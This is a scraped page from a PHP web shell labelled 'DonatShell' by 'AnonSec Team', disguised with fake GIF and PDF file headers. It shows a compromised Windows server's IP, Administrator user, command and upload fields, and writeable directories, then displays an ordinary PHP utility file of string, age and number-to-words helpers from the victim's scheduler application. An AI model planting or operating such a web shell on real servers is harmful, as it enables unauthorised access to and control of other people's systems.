GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/common/functions_unused.phpinc
<?
// functions_unused.phpinc
// Store any unused functions here.

// CRtoBR($string)
// Returns $string with all newline (\n) and return (\r) converted to <br>.
// $string = The string to parse.
function CRtoBR($string) {
  $CRtoBR = str_replace(array("\r","\n"), array("","<br>"), $string);
  #t_Func($CRtoBR);
  return $CRtoBR;
}

// decimalIP($IPaddress)
// Returns decimal IP address.
// $IPaddress = The IP address.
function decimalIP($IPaddress) {
  $backtrace = debug_backtrace(); $file = basename($backtrace['0']['file']); $filepath = $backtrace['0']['file']; $line = $backtrace['0']['line'];
  $octet = explode(".",$IPaddress);
  $decimalIP = $octet[0]*256*256*256 + $octet[1]*256*256 + $octet[2]*256 + $octet[3];
  t_Func($decimalIP);
  return $decimalIP;
}

// getAge($DOB)
// Return the age given a date in a format of yyyy-mm-dd, mm.dd.yyyy, or mm/dd/yyyy.
// $DOB = The date of birth.
function getAge($DOB) {
  #d_Var('$DOB',$DOB);
  $DOB = explode(' ',$DOB); // Remove time.
  $DOB = $DOB[0];
  if ( substr_count($DOB,'-') == 2 || substr_count($DOB,'/') == 2 || substr_count($DOB,'.') == 2 ) {
    if (substr_count($DOB,'/') == 2 ) $DOB = str_replace("/","-",$DOB);
    if (substr_count($DOB,'.') == 2 ) $DOB = str_replace(".","-",$DOB);
    $DOBarray = explode("-", $DOB);
    if ( strlen($DOBarray[0]) == 4 ) {
      // yyyy-mm-dd format.
      $birthYear = $DOBarray[0]; $birthMonth = $DOBarray[1]; $birthDay = $DOBarray[2];
    } else {
      // mm/dd/yyyy format.
      $birthYear = $DOBarray[2]; $birthMonth = $DOBarray[0]; $birthDay = $DOBarray[1];
    }
    if ( is_numeric($birthYear) && is_numeric($birthMonth) && is_numeric($birthDay) ) {
      $yearDiff = date("Y") - $birthYear;
      $monthDiff = date("m") - $birthMonth;
      $dayDiff = date("d") - $birthDay;
      // If the birthday has not occured this year
      if ($monthDiff < 0 || ( $monthDiff == 0 && $dayDiff < 0 ) ) $yearDiff -= 1;
      $age = $yearDiff;
      if ( $age < 0 ) $age = 0;
    } else {
      $age = false;
    }
  } else {
    $age = false;
  }
  return $age;
}

// htmlCRtoBR($string)
// Returns an htmlSafe($string) with all \n converted to <br>.
// $string = The string to parse.
function htmlCRtoBR($string) {
  $backtrace = debug_backtrace(); $file = basename($backtrace['0']['file']); $filepath = $backtrace['0']['file']; $line = $backtrace['0']['line'];
  $htmlCRtoBR = str_replace("\n", "<br>", htmlSafe($string));
  return $htmlCRtoBR;
}

// is_def($var)
// Returns true if the variable was set to a value, even NULL.
// WARNING: Does not work correctly if 'is_def' is on the line more than once.
function is_def($var, $val="__u_n_d_e_f_i_n_e_d__") {
  if ( isset($var) ) {
    { echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
    return true;
  }
  // Determine if the variable is NULL or actually !isset().
  if ( $val == "__u_n_d_e_f_i_n_e_d__" ) {
    // First we need to get the variable name.
    //$val = $var;
    $backtrace = debug_backtrace();
    $src = file($backtrace[0]["file"]); // Get the file contents.
    #d_Var('$src',$src);
    $line = $src[$backtrace[0]['line']-1]; // Get the line the call was make from.
    #echo '__FUNCTION__='.__FUNCTION__."<br>";
    $findFunction = __FUNCTION__;
    preg_match( "#".$findFunction."\((.+)\)#", $line, $match ); // let's match the function call and the last closing bracket.
    d_Var('$match',$match,'+');
    if ( count($match) ) {
      $max = strlen($match[1]); // let's count brackets to see how many of them actually belongs to the var name.
      d_Var('$max',$max);
      $varname = "";
      $c = 0;
      for ($i = 0; $i < $max; $i++) {
        if (     $match[1]{$i} == "(" ) $c++;
        elseif ( $match[1]{$i} == ")" ) $c--;
        if ( $c < 0 ) break;
        $varname .=  $match[1]{$i};
      }
      $varName = $varname;
      $varName = str_replace("\'","",$varName); // $varName now holds the name of the passed variable ($ included).
      $varLabel = substr($varName,1); // $varLabel now holds the name of the passed variable (without $).
      #echo("The variable name is: ".'<span class="info">'.$varName.'</span><br>');
      // Cannot distinguish NULL from !isset() so we have to check $GLOBALS to see if the variable exists.
      if ( strpos($varLabel,'[') === false ) {
        #{ echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
        return array_key_exists($varLabel,$GLOBALS);
      } // Not an array so a simple array_key_exists() check works.
      // The variable is an array so we have to break it down to test for NULL.
      $varArray = explode("[",str_replace(array("]","'"),"",$varLabel));
      #d_Var('count($varArray)',count($varArray));
      #d_Var('$varArray',$varArray);
      /**/
      switch (count($varArray)) {
				case 2:
          #d_Var("\$GLOBALS[$varArray[0]]",$GLOBALS[$varArray[0]]);
          #{ echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
          return array_key_exists($varArray[1],$GLOBALS[$varArray[0]]);
				break;
				case 3:
          #{ echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
          return array_key_exists($varArray[2],$GLOBALS[$varArray[0]][$varArray[1]]);
				break;
				case 4:
          #{ echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
          return array_key_exists($varArray[3],$GLOBALS[$varArray[0]][$varArray[1]][$varArray[2]]);
				break;
				case 5:
          #{ echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
          return array_key_exists($varArray[4],$GLOBALS[$varArray[0]][$varArray[1]][$varArray[2]][$varArray[3]]);
				break;
        default:
          return NULL;
				break;
      }
    }
  }
  // is_def() has failed or was called incorrectly.
  { echo '<span class="info">Return at line:'.__LINE__.'</span><br>'; }
  return NULL;
}

// function is_NULL($varName)
// Returns true if the variable is null.
// Return false if the variable is unset or has a value.
function is_NULL($varName) {
	if ( array_key_exists($varName,$GLOBALS) && is_null($GLOBALS[$varName]) ) {
		return true;
	} else {
		return false;
	}
}

// is_positivenumber($value)
// Return true if the $value is a positive number > 0 else false.
// $value = The value to parse.
function is_positivenumber($value) {
if ( preg_match("/^[0-9]+$/", $value) && $value > 0){
  $is_positivenumber= true;
  } else {
  $is_positivenumber= false;
 }
  #t_Func($is_positivenumber);
  return $is_positivenumber;
}

// function is_Set($varName)
// Returns true if the variable is set.
// Return false if the variable is unset.
function is_Set($varName) {
	if ( array_key_exists($varName,$GLOBALS) ) {
		return true;
	} else {
		return false;
	}
}

// num2words($num, $ucase)
// Returns $num converted to words.
function num2words($num, $ucase = true) {
    $ZERO = "zero";
    $MINUS = "minus";
    $lowName = array(
          /* zero is shown as "" since it is never used in combined forms */
          /* 0 .. 19 */
          "", "one", "two", "three", "four", "five",
          "six", "seven", "eight", "nine", "ten",
          "eleven", "twelve", "thirteen", "fourteen", "fifteen",
          "sixteen", "seventeen", "eighteen", "nineteen");

    $tys = array(
          /* 0, 10, 20, 30 ... 90 */
          "", "", "twenty", "thirty", "forty", "fifty",
          "sixty", "seventy", "eighty", "ninety");

    $groupName = array(
          /* We only need up to a quintillion, since a long is about 9 * 10 ^ 18 */
          /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
          "", "hundred", "thousand", "million", "billion",
          "trillion", "quadrillion", "quintillion");

    $divisor = array(
          /* How many of this group is needed to form one of the succeeding group. */
          /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
          100, 10, 1000, 1000, 1000, 1000, 1000, 1000) ;

    $num = str_replace(",","",$num);
    #d_Var('$num',$num);
    $numSplit = explode('.',$num);
    #d_Var('$numSplit',$numSplit);
    $num = $numSplit[0];
    if ( isset($numSplit[1]) ) {
      $fraction = $numSplit[1];
    } else {
      $fraction = 0;
    }
    #d_Var('$num',$num);
    #d_Var('$fraction',$fraction);

    $s = "";

    if ( $num == 0 ) $s = $ZERO;
    $negative = ($num < 0 );
    if ( $negative ) $num = -$num;

    // Work least significant digit to most, right to left.
    // until high order part is all 0s.
    for ( $i=0; $num>0; $i++ ) {
        $remdr = (int)($num % $divisor[$i]);
        $num = $num / $divisor[$i];
        // check for 1100 .. 1999, 2100..2999, ... 5200..5999
        // but not 1000..1099,  2000..2099, ...
        // Special case written as fifty-nine hundred.
        // e.g. thousands digit is 1..5 and hundreds digit is 1..9
        // Only when no further higher order.
        if ( $i == 1 /* doing hundreds */ && 1 <= $num && $num <= 5 ){
            if ( $remdr > 0 ){
                $remdr += $num * 10;
                $num = 0;
            } // end if
        } // end if
        if ( $remdr == 0 ){
            continue;
        }
        $t = "";
        if ( $remdr < 20 ){
            $t = $lowName[$remdr];
        }
        else if ( $remdr < 100 ){
            $units = (int)$remdr % 10;
            $tens = (int)$remdr / 10;
            $t = $tys [$tens];
            if ( $units != 0 ){
               $t .= "-" . $lowName[$units];
            }
        }else {
            $t = $inWords($remdr);
        }
        $s = $t . " " . $groupName[$i] . " "  . $s;
        $num = (int)$num;
    } // end for
    $s = trim($s);
    if ( $negative ){
        $s = $MINUS . " " . $s;
    }
    if ( $fraction ) {
      $s .= " point";
      for ($i=0; $i<strlen($fraction); $i++) {
        $s .= " ".num2words($fraction[$i],false);
      }
    }
    if ( $ucase ) $s = ucfirst($s);
    return $s;
} // end num2words

// uppercaseSpace($string, $nonConsecutive, $underscore)
// Returns the $string with underscores (_) converted to spaces and a space added before non-consecutive uppercase chatacters.
//         $string = The string to parse.
// $nonConsecutive =  true = Space added before every non-consecutive uppercase chatacter.
//                   false = Space added before every uppercase chatacter.
//     $underscore =  true = Convert underscores to spaces.
//                   false = Leave underscores.
function uppercaseSpace($string, $nonConsecutive=true, $underscore=true) {
	if ( $nonConsecutive ) {
		$uppercaseSpace = trim(preg_replace('/([a-z0-9])?([A-Z]+)/','$1 $2',$string)); // Space added before every non-consecutive uppercase chatacter.
	} else {
		$uppercaseSpace = trim(preg_replace('/([a-z0-9])?([A-Z])/','$1 $2',$string)); // Space added before every uppercase chatacter.
	}
	if ( $underscore ) $uppercaseSpace = str_replace("_"," ",$uppercaseSpace);
  return $uppercaseSpace;
}

?>

Anon7 - 2022
AnonSec Team